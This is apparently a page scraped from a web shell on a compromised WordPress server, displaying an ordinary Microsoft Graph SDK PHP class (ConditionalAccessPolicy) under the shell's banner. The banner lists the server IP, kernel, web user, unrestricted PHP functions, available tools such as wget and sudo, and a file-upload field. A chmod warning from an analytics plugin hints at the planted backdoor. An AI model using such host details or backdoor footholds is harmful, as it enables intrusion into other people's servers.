Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* ConditionalAccessPolicy File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* ConditionalAccessPolicy class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class ConditionalAccessPolicy extends Entity
{
/**
* Gets the conditions
* Specifies the rules that must be met for the policy to apply. Required.
*
* @return ConditionalAccessConditionSet|null The conditions
*/
public function getConditions()
{
if (array_key_exists("conditions", $this->_propDict)) {
if (is_a($this->_propDict["conditions"], "\Microsoft\Graph\Model\ConditionalAccessConditionSet") || is_null($this->_propDict["conditions"])) {
return $this->_propDict["conditions"];
} else {
$this->_propDict["conditions"] = new ConditionalAccessConditionSet($this->_propDict["conditions"]);
return $this->_propDict["conditions"];
}
}
return null;
}
/**
* Sets the conditions
* Specifies the rules that must be met for the policy to apply. Required.
*
* @param ConditionalAccessConditionSet $val The conditions
*
* @return ConditionalAccessPolicy
*/
public function setConditions($val)
{
$this->_propDict["conditions"] = $val;
return $this;
}
/**
* Gets the createdDateTime
* The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Readonly.
*
* @return \DateTime|null The createdDateTime
*/
public function getCreatedDateTime()
{
if (array_key_exists("createdDateTime", $this->_propDict)) {
if (is_a($this->_propDict["createdDateTime"], "\DateTime") || is_null($this->_propDict["createdDateTime"])) {
return $this->_propDict["createdDateTime"];
} else {
$this->_propDict["createdDateTime"] = new \DateTime($this->_propDict["createdDateTime"]);
return $this->_propDict["createdDateTime"];
}
}
return null;
}
/**
* Sets the createdDateTime
* The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Readonly.
*
* @param \DateTime $val The createdDateTime
*
* @return ConditionalAccessPolicy
*/
public function setCreatedDateTime($val)
{
$this->_propDict["createdDateTime"] = $val;
return $this;
}
/**
* Gets the description
*
* @return string|null The description
*/
public function getDescription()
{
if (array_key_exists("description", $this->_propDict)) {
return $this->_propDict["description"];
} else {
return null;
}
}
/**
* Sets the description
*
* @param string $val The description
*
* @return ConditionalAccessPolicy
*/
public function setDescription($val)
{
$this->_propDict["description"] = $val;
return $this;
}
/**
* Gets the displayName
* Specifies a display name for the conditionalAccessPolicy object.
*
* @return string|null The displayName
*/
public function getDisplayName()
{
if (array_key_exists("displayName", $this->_propDict)) {
return $this->_propDict["displayName"];
} else {
return null;
}
}
/**
* Sets the displayName
* Specifies a display name for the conditionalAccessPolicy object.
*
* @param string $val The displayName
*
* @return ConditionalAccessPolicy
*/
public function setDisplayName($val)
{
$this->_propDict["displayName"] = $val;
return $this;
}
/**
* Gets the grantControls
* Specifies the grant controls that must be fulfilled to pass the policy.
*
* @return ConditionalAccessGrantControls|null The grantControls
*/
public function getGrantControls()
{
if (array_key_exists("grantControls", $this->_propDict)) {
if (is_a($this->_propDict["grantControls"], "\Microsoft\Graph\Model\ConditionalAccessGrantControls") || is_null($this->_propDict["grantControls"])) {
return $this->_propDict["grantControls"];
} else {
$this->_propDict["grantControls"] = new ConditionalAccessGrantControls($this->_propDict["grantControls"]);
return $this->_propDict["grantControls"];
}
}
return null;
}
/**
* Sets the grantControls
* Specifies the grant controls that must be fulfilled to pass the policy.
*
* @param ConditionalAccessGrantControls $val The grantControls
*
* @return ConditionalAccessPolicy
*/
public function setGrantControls($val)
{
$this->_propDict["grantControls"] = $val;
return $this;
}
/**
* Gets the modifiedDateTime
* The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Readonly.
*
* @return \DateTime|null The modifiedDateTime
*/
public function getModifiedDateTime()
{
if (array_key_exists("modifiedDateTime", $this->_propDict)) {
if (is_a($this->_propDict["modifiedDateTime"], "\DateTime") || is_null($this->_propDict["modifiedDateTime"])) {
return $this->_propDict["modifiedDateTime"];
} else {
$this->_propDict["modifiedDateTime"] = new \DateTime($this->_propDict["modifiedDateTime"]);
return $this->_propDict["modifiedDateTime"];
}
}
return null;
}
/**
* Sets the modifiedDateTime
* The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Readonly.
*
* @param \DateTime $val The modifiedDateTime
*
* @return ConditionalAccessPolicy
*/
public function setModifiedDateTime($val)
{
$this->_propDict["modifiedDateTime"] = $val;
return $this;
}
/**
* Gets the sessionControls
* Specifies the session controls that are enforced after sign-in.
*
* @return ConditionalAccessSessionControls|null The sessionControls
*/
public function getSessionControls()
{
if (array_key_exists("sessionControls", $this->_propDict)) {
if (is_a($this->_propDict["sessionControls"], "\Microsoft\Graph\Model\ConditionalAccessSessionControls") || is_null($this->_propDict["sessionControls"])) {
return $this->_propDict["sessionControls"];
} else {
$this->_propDict["sessionControls"] = new ConditionalAccessSessionControls($this->_propDict["sessionControls"]);
return $this->_propDict["sessionControls"];
}
}
return null;
}
/**
* Sets the sessionControls
* Specifies the session controls that are enforced after sign-in.
*
* @param ConditionalAccessSessionControls $val The sessionControls
*
* @return ConditionalAccessPolicy
*/
public function setSessionControls($val)
{
$this->_propDict["sessionControls"] = $val;
return $this;
}
/**
* Gets the state
* Specifies the state of the conditionalAccessPolicy object. Possible values are: enabled, disabled, enabledForReportingButNotEnforced. Required.
*
* @return ConditionalAccessPolicyState|null The state
*/
public function getState()
{
if (array_key_exists("state", $this->_propDict)) {
if (is_a($this->_propDict["state"], "\Microsoft\Graph\Model\ConditionalAccessPolicyState") || is_null($this->_propDict["state"])) {
return $this->_propDict["state"];
} else {
$this->_propDict["state"] = new ConditionalAccessPolicyState($this->_propDict["state"]);
return $this->_propDict["state"];
}
}
return null;
}
/**
* Sets the state
* Specifies the state of the conditionalAccessPolicy object. Possible values are: enabled, disabled, enabledForReportingButNotEnforced. Required.
*
* @param ConditionalAccessPolicyState $val The state
*
* @return ConditionalAccessPolicy
*/
public function setState($val)
{
$this->_propDict["state"] = $val;
return $this;
}
/**
* Gets the templateId
*
* @return string|null The templateId
*/
public function getTemplateId()
{
if (array_key_exists("templateId", $this->_propDict)) {
return $this->_propDict["templateId"];
} else {
return null;
}
}
/**
* Sets the templateId
*
* @param string $val The templateId
*
* @return ConditionalAccessPolicy
*/
public function setTemplateId($val)
{
$this->_propDict["templateId"] = $val;
return $this;
}
}